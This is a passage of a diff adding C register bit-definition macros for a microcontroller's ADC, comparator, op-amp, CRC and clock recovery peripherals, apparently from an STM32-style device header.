0x00080000 */ +#define ADC_CALFACT_CALFACT_D_4 (0x10UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT_CALFACT_D_5 (0x20UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT_CALFACT_D_6 (0x40UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00300000 */ + +/******************** Bit definition for ADC_OR register *****************/ +#define ADC_OR_OP0_Pos (0U) +#define ADC_OR_OP0_Msk (0x01UL << ADC_OR_OP0_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP0 ADC_OR_OP0_Msk /*!< ADC Option bit 0 */ +#define ADC_OR_OP1_Pos (1U) +#define ADC_OR_OP1_Msk (0x01UL << ADC_OR_OP1_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP1 ADC_OR_OP1_Msk /*!< ADC Option bit 1 */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register *******************/ +#define ADC_CSR_ADRDY_MST_Pos (0U) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< ADC multimode master ready flag */ +#define ADC_CSR_EOSMP_MST_Pos (1U) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< ADC multimode master group regular end of sampling flag */ +#define ADC_CSR_EOC_MST_Pos (2U) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< ADC multimode master group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_MST_Pos (3U) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< ADC multimode master group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_MST_Pos (4U) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< ADC multimode master group regular overrun flag */ +#define ADC_CSR_JEOC_MST_Pos (5U) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< ADC multimode master group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_MST_Pos (6U) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< ADC multimode master group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_MST_Pos (7U) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< ADC multimode master analog watchdog 1 flag */ +#define ADC_CSR_AWD2_MST_Pos (8U) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< ADC multimode master analog watchdog 2 flag */ +#define ADC_CSR_AWD3_MST_Pos (9U) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< ADC multimode master analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_MST_Pos (10U) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< ADC multimode master group injected contexts queue overflow flag */ + +#define ADC_CSR_ADRDY_SLV_Pos (16U) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< ADC multimode slave ready flag */ +#define ADC_CSR_EOSMP_SLV_Pos (17U) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< ADC multimode slave group regular end of sampling flag */ +#define ADC_CSR_EOC_SLV_Pos (18U) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< ADC multimode slave group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_SLV_Pos (19U) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< ADC multimode slave group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_SLV_Pos (20U) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< ADC multimode slave group regular overrun flag */ +#define ADC_CSR_JEOC_SLV_Pos (21U) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< ADC multimode slave group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_SLV_Pos (22U) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< ADC multimode slave group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_SLV_Pos (23U) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< ADC multimode slave analog watchdog 1 flag */ +#define ADC_CSR_AWD2_SLV_Pos (24U) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< ADC multimode slave analog watchdog 2 flag */ +#define ADC_CSR_AWD3_SLV_Pos (25U) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< ADC multimode slave analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_SLV_Pos (26U) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< ADC multimode slave group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_CCR register *******************/ +#define ADC_CCR_DUAL_Pos (0U) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< ADC multimode mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8U) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< ADC multimode delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DMACFG_Pos (13U) +#define ADC_CCR_DMACFG_Msk (0x1UL << ADC_CCR_DMACFG_Pos) /*!< 0x00002000 */ +#define ADC_CCR_DMACFG ADC_CCR_DMACFG_Msk /*!< ADC multimode DMA transfer configuration */ + +#define ADC_CCR_MDMA_Pos (14U) +#define ADC_CCR_MDMA_Msk (0x3UL << ADC_CCR_MDMA_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_MDMA ADC_CCR_MDMA_Msk /*!< ADC multimode DMA transfer enable */ +#define ADC_CCR_MDMA_0 (0x1UL << ADC_CCR_MDMA_Pos) /*!< 0x00004000 */ +#define ADC_CCR_MDMA_1 (0x2UL << ADC_CCR_MDMA_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_CKMODE_Pos (16U) +#define ADC_CCR_CKMODE_Msk (0x3UL << ADC_CCR_CKMODE_Pos) /*!< 0x00030000 */ +#define ADC_CCR_CKMODE ADC_CCR_CKMODE_Msk /*!< ADC common clock source and prescaler (prescaler only for clock source synchronous) */ +#define ADC_CCR_CKMODE_0 (0x1UL << ADC_CCR_CKMODE_Pos) /*!< 0x00010000 */ +#define ADC_CCR_CKMODE_1 (0x2UL << ADC_CCR_CKMODE_Pos) /*!< 0x00020000 */ + +#define ADC_CCR_PRESC_Pos (18U) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC common clock prescaler, only for clock source asynchronous */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22U) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< ADC internal path to VrefInt enable */ +#define ADC_CCR_TSEN_Pos (23U) +#define ADC_CCR_TSEN_Msk (0x1UL << ADC_CCR_TSEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_TSEN ADC_CCR_TSEN_Msk /*!< ADC internal path to temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24U) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< ADC internal path to battery voltage enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0U) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16U) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + + +/**********************************************************************************************************************/ +/* */ +/* Analog Comparators (COMP) */ +/* */ +/**********************************************************************************************************************/ + +/********************************** Bit definition for COMP_SR register *****************************************/ +#define COMP_SR_C1VAL_Pos (0U) +#define COMP_SR_C1VAL_Msk (0x1UL << COMP_SR_C1VAL_Pos) /*!< 0x00000001 */ +#define COMP_SR_C1VAL COMP_SR_C1VAL_Msk + +#define COMP_SR_C1IF_Pos (16U) +#define COMP_SR_C1IF_Msk (0x1UL << COMP_SR_C1IF_Pos) /*!< 0x00010000 */ +#define COMP_SR_C1IF COMP_SR_C1IF_Msk + +/********************************** Bit definition for COMP_ICFR register *****************************************/ +#define COMP_ICFR_CC1IF_Pos (16U) +#define COMP_ICFR_CC1IF_Msk (0x1UL << COMP_ICFR_CC1IF_Pos) /*!< 0x00010000 */ +#define COMP_ICFR_CC1IF COMP_ICFR_CC1IF_Msk + +/********************************** Bit definition for COMP_CFGR1 register **************************************/ +#define COMP_CFGR1_EN_Pos (0U) +#define COMP_CFGR1_EN_Msk (0x1UL << COMP_CFGR1_EN_Pos) /*!< 0x00000001 */ +#define COMP_CFGR1_EN COMP_CFGR1_EN_Msk /*!< COMP1 enable bit */ + +#define COMP_CFGR1_BRGEN_Pos (1U) +#define COMP_CFGR1_BRGEN_Msk (0x1UL << COMP_CFGR1_BRGEN_Pos) /*!< 0x00000002 */ +#define COMP_CFGR1_BRGEN COMP_CFGR1_BRGEN_Msk /*!< COMP1 Scaler bridge enable */ + +#define COMP_CFGR1_SCALEN_Pos (2U) +#define COMP_CFGR1_SCALEN_Msk (0x1UL << COMP_CFGR1_SCALEN_Pos) /*!< 0x00000004 */ +#define COMP_CFGR1_SCALEN COMP_CFGR1_SCALEN_Msk /*!< COMP1 Voltage scaler enable bit */ + +#define COMP_CFGR1_POLARITY_Pos (3U) +#define COMP_CFGR1_POLARITY_Msk (0x1UL << COMP_CFGR1_POLARITY_Pos) /*!< 0x00000008 */ +#define COMP_CFGR1_POLARITY COMP_CFGR1_POLARITY_Msk /*!< COMP1 polarity selection bit */ + +#define COMP_CFGR1_ITEN_Pos (6U) +#define COMP_CFGR1_ITEN_Msk (0x1UL << COMP_CFGR1_ITEN_Pos) /*!< 0x00000040 */ +#define COMP_CFGR1_ITEN COMP_CFGR1_ITEN_Msk /*!< COMP1 interrupt enable */ + +#define COMP_CFGR1_HYST_Pos (8U) +#define COMP_CFGR1_HYST_Msk (0x3UL << COMP_CFGR1_HYST_Pos) /*!< 0x00000300 */ +#define COMP_CFGR1_HYST COMP_CFGR1_HYST_Msk /*!< COMP1 hysteresis selection bits */ +#define COMP_CFGR1_HYST_0 (0x1UL << COMP_CFGR1_HYST_Pos) /*!< 0x00000100 */ +#define COMP_CFGR1_HYST_1 (0x2UL << COMP_CFGR1_HYST_Pos) /*!< 0x00000200 */ + +#define COMP_CFGR1_PWRMODE_Pos (12U) +#define COMP_CFGR1_PWRMODE_Msk (0x3UL << COMP_CFGR1_PWRMODE_Pos) /*!< 0x00003000 */ +#define COMP_CFGR1_PWRMODE COMP_CFGR1_PWRMODE_Msk /*!< COMP1 Power Mode of the comparator */ +#define COMP_CFGR1_PWRMODE_0 (0x1UL << COMP_CFGR1_PWRMODE_Pos) /*!< 0x00001000 */ +#define COMP_CFGR1_PWRMODE_1 (0x2UL << COMP_CFGR1_PWRMODE_Pos) /*!< 0x00002000 */ + +#define COMP_CFGR1_INMSEL_Pos (16U) +#define COMP_CFGR1_INMSEL_Msk (0xFUL << COMP_CFGR1_INMSEL_Pos) /*!< 0x000F0000 */ +#define COMP_CFGR1_INMSEL COMP_CFGR1_INMSEL_Msk /*!< COMP1 input minus selection bit */ +#define COMP_CFGR1_INMSEL_0 (0x1UL << COMP_CFGR1_INMSEL_Pos) /*!< 0x00010000 */ +#define COMP_CFGR1_INMSEL_1 (0x2UL << COMP_CFGR1_INMSEL_Pos) /*!< 0x00020000 */ +#define COMP_CFGR1_INMSEL_2 (0x4UL << COMP_CFGR1_INMSEL_Pos) /*!< 0x00040000 */ +#define COMP_CFGR1_INMSEL_3 (0x8UL << COMP_CFGR1_INMSEL_Pos) /*!< 0x00080000 */ + +#define COMP_CFGR1_INPSEL1_Pos (20U) +#define COMP_CFGR1_INPSEL1_Msk (0x1UL << COMP_CFGR1_INPSEL1_Pos) /*!< 0x00100000 */ +#define COMP_CFGR1_INPSEL1 COMP_CFGR1_INPSEL1_Msk /*!< COMP1 input plus 1 selection bit */ + +#define COMP_CFGR1_INPSEL2_Pos (22U) +#define COMP_CFGR1_INPSEL2_Msk (0x1UL << COMP_CFGR1_INPSEL2_Pos) /*!< 0x00400000 */ +#define COMP_CFGR1_INPSEL2 COMP_CFGR1_INPSEL2_Msk /*!< COMP1 input plus 2 selection bit */ + +#define COMP_CFGR1_BLANKING_Pos (24U) +#define COMP_CFGR1_BLANKING_Msk (0xFUL << COMP_CFGR1_BLANKING_Pos) /*!< 0x0F000000 */ +#define COMP_CFGR1_BLANKING COMP_CFGR1_BLANKING_Msk /*!< COMP1 blanking source selection bits */ +#define COMP_CFGR1_BLANKING_0 (0x1UL << COMP_CFGR1_BLANKING_Pos) /*!< 0x01000000 */ +#define COMP_CFGR1_BLANKING_1 (0x2UL << COMP_CFGR1_BLANKING_Pos) /*!< 0x02000000 */ +#define COMP_CFGR1_BLANKING_2 (0x4UL << COMP_CFGR1_BLANKING_Pos) /*!< 0x04000000 */ +#define COMP_CFGR1_BLANKING_3 (0x8UL << COMP_CFGR1_BLANKING_Pos) /*!< 0x08000000 */ + +#define COMP_CFGR1_LOCK_Pos (31U) +#define COMP_CFGR1_LOCK_Msk (0x1UL << COMP_CFGR1_LOCK_Pos) /*!< 0x80000000 */ +#define COMP_CFGR1_LOCK COMP_CFGR1_LOCK_Msk /*!< COMP1 Lock Bit */ + +/********************************* Bit definition for COMP_CFGR2 register *******************************************/ +#define COMP_CFGR2_INPSEL0_Pos (4U) +#define COMP_CFGR2_INPSEL0_Msk (0x1UL << COMP_CFGR2_INPSEL0_Pos) /*!< 0x00000010 */ +#define COMP_CFGR2_INPSEL0 COMP_CFGR2_INPSEL0_Msk /*!< COMP1 input plus 0 selection bit */ + +/**********************************************************************************************************************/ +/* */ +/* Operational Amplifier (OPAMP) */ +/* */ +/**********************************************************************************************************************/ + +/********************************** Bit definition for OPAMP_CSR register *****************************************/ +#define OPAMP_CSR_OPAMPxEN_Pos (0U) +#define OPAMP_CSR_OPAMPxEN_Msk (0x1UL << OPAMP_CSR_OPAMPxEN_Pos) /*!< 0x00000001 */ +#define OPAMP_CSR_OPAMPxEN OPAMP_CSR_OPAMPxEN_Msk /*!< OPAMP enable */ + +#define OPAMP_CSR_FORCEVP_Pos (1U) +#define OPAMP_CSR_FORCEVP_Msk (0x1UL << OPAMP_CSR_FORCEVP_Pos) /*!< 0x00000002 */ +#define OPAMP_CSR_FORCEVP OPAMP_CSR_FORCEVP_Msk /*!< Force internal reference on VP */ + +#define OPAMP_CSR_VPSEL_Pos (2U) +#define OPAMP_CSR_VPSEL_Msk (0x3UL << OPAMP_CSR_VPSEL_Pos) /*!< 0x0000000C */ +#define OPAMP_CSR_VPSEL OPAMP_CSR_VPSEL_Msk /*!< Non inverted input selection */ +#define OPAMP_CSR_VPSEL_0 (0x1UL << OPAMP_CSR_VPSEL_Pos) /*!< 0x00000004 */ +#define OPAMP_CSR_VPSEL_1 (0x2UL << OPAMP_CSR_VPSEL_Pos) /*!< 0x00000008 */ + +#define OPAMP_CSR_VMSEL_Pos (5U) +#define OPAMP_CSR_VMSEL_Msk (0x3UL << OPAMP_CSR_VMSEL_Pos) /*!< 0x00000060 */ +#define OPAMP_CSR_VMSEL OPAMP_CSR_VMSEL_Msk /*!< Inverting input selection */ +#define OPAMP_CSR_VMSEL_0 (0x1UL << OPAMP_CSR_VMSEL_Pos) /*!< 0x00000020 */ +#define OPAMP_CSR_VMSEL_1 (0x2UL << OPAMP_CSR_VMSEL_Pos) /*!< 0x00000040 */ + +#define OPAMP_CSR_OPAHSM_Pos (8U) +#define OPAMP_CSR_OPAHSM_Msk (0x1UL << OPAMP_CSR_OPAHSM_Pos) /*!< 0x00000100 */ +#define OPAMP_CSR_OPAHSM OPAMP_CSR_OPAHSM_Msk /*!< high speed mode */ + +#define OPAMP_CSR_CALON_Pos (11U) +#define OPAMP_CSR_CALON_Msk (0x1UL << OPAMP_CSR_CALON_Pos) /*!< 0x00000800 */ +#define OPAMP_CSR_CALON OPAMP_CSR_CALON_Msk /*!< Calibration mode enable */ + +#define OPAMP_CSR_CALSEL_Pos (12U) +#define OPAMP_CSR_CALSEL_Msk (0x3UL << OPAMP_CSR_CALSEL_Pos) /*!< 0x00003000 */ +#define OPAMP_CSR_CALSEL OPAMP_CSR_CALSEL_Msk /*!< Calibration selection */ +#define OPAMP_CSR_CALSEL_0 (0x1UL << OPAMP_CSR_CALSEL_Pos) /*!< 0x00001000 */ +#define OPAMP_CSR_CALSEL_1 (0x2UL << OPAMP_CSR_CALSEL_Pos) /*!< 0x00002000 */ + +#define OPAMP_CSR_PGGAIN_Pos (14U) +#define OPAMP_CSR_PGGAIN_Msk (0xFUL << OPAMP_CSR_PGGAIN_Pos) /*!< 0x0003C000 */ +#define OPAMP_CSR_PGGAIN OPAMP_CSR_PGGAIN_Msk /*!< Programmable amplifier gain value */ +#define OPAMP_CSR_PGGAIN_0 (0x1UL << OPAMP_CSR_PGGAIN_Pos) /*!< 0x00004000 */ +#define OPAMP_CSR_PGGAIN_1 (0x2UL << OPAMP_CSR_PGGAIN_Pos) /*!< 0x00008000 */ +#define OPAMP_CSR_PGGAIN_2 (0x4UL << OPAMP_CSR_PGGAIN_Pos) /*!< 0x00010000 */ +#define OPAMP_CSR_PGGAIN_3 (0x8UL << OPAMP_CSR_PGGAIN_Pos) /*!< 0x00020000 */ + +#define OPAMP_CSR_USERTRIM_Pos (18U) +#define OPAMP_CSR_USERTRIM_Msk (0x1UL << OPAMP_CSR_USERTRIM_Pos) /*!< 0x00040000 */ +#define OPAMP_CSR_USERTRIM OPAMP_CSR_USERTRIM_Msk /*!< User trimming enable */ + +#define OPAMP_CSR_TSTREF_Pos (29U) +#define OPAMP_CSR_TSTREF_Msk (0x1UL << OPAMP_CSR_TSTREF_Pos) /*!< 0x20000000 */ +#define OPAMP_CSR_TSTREF OPAMP_CSR_TSTREF_Msk /*!< calibration reference voltage output */ + +#define OPAMP_CSR_CALOUT_Pos (30U) +#define OPAMP_CSR_CALOUT_Msk (0x1UL << OPAMP_CSR_CALOUT_Pos) /*!< 0x40000000 */ +#define OPAMP_CSR_CALOUT OPAMP_CSR_CALOUT_Msk /*!< Calibration output */ + +/********************************** Bit definition for OPAMP_OTR register ******************************************/ +#define OPAMP_OTR_TRIMOFFSETN_Pos (0U) +#define OPAMP_OTR_TRIMOFFSETN_Msk (0x1FUL << OPAMP_OTR_TRIMOFFSETN_Pos) /*!< 0x0000001F */ +#define OPAMP_OTR_TRIMOFFSETN OPAMP_OTR_TRIMOFFSETN_Msk /*!< Trim for NMOS differential pairs */ + +#define OPAMP_OTR_TRIMOFFSETP_Pos (8U) +#define OPAMP_OTR_TRIMOFFSETP_Msk (0x1FUL << OPAMP_OTR_TRIMOFFSETP_Pos) /*!< 0x00001F00 */ +#define OPAMP_OTR_TRIMOFFSETP OPAMP_OTR_TRIMOFFSETP_Msk /*!< Trim for PMOS differential pairs */ + +/********************************** Bit definition for OPAMP_HSOTR register ***************************************/ +#define OPAMP_HSOTR_TRIMHSOFFSETN_Pos (0U) +#define OPAMP_HSOTR_TRIMHSOFFSETN_Msk (0x1FUL << OPAMP_HSOTR_TRIMHSOFFSETN_Pos) /*!< 0x0000001F */ +#define OPAMP_HSOTR_TRIMHSOFFSETN OPAMP_HSOTR_TRIMHSOFFSETN_Msk /*!< Trim for NMOS pairs */ + +#define OPAMP_HSOTR_TRIMHSOFFSETP_Pos (8U) +#define OPAMP_HSOTR_TRIMHSOFFSETP_Msk (0x1FUL << OPAMP_HSOTR_TRIMHSOFFSETP_Pos) /*!< 0x00001F00 */ +#define OPAMP_HSOTR_TRIMHSOFFSETP OPAMP_HSOTR_TRIMHSOFFSETP_Msk /*!< Trim for PMOS pairs */ + + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0U) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0U) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0U) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3U) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5U) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7U) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0U) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0U) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0U) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1U) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2U) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3U) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5U) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6U) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7U) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos 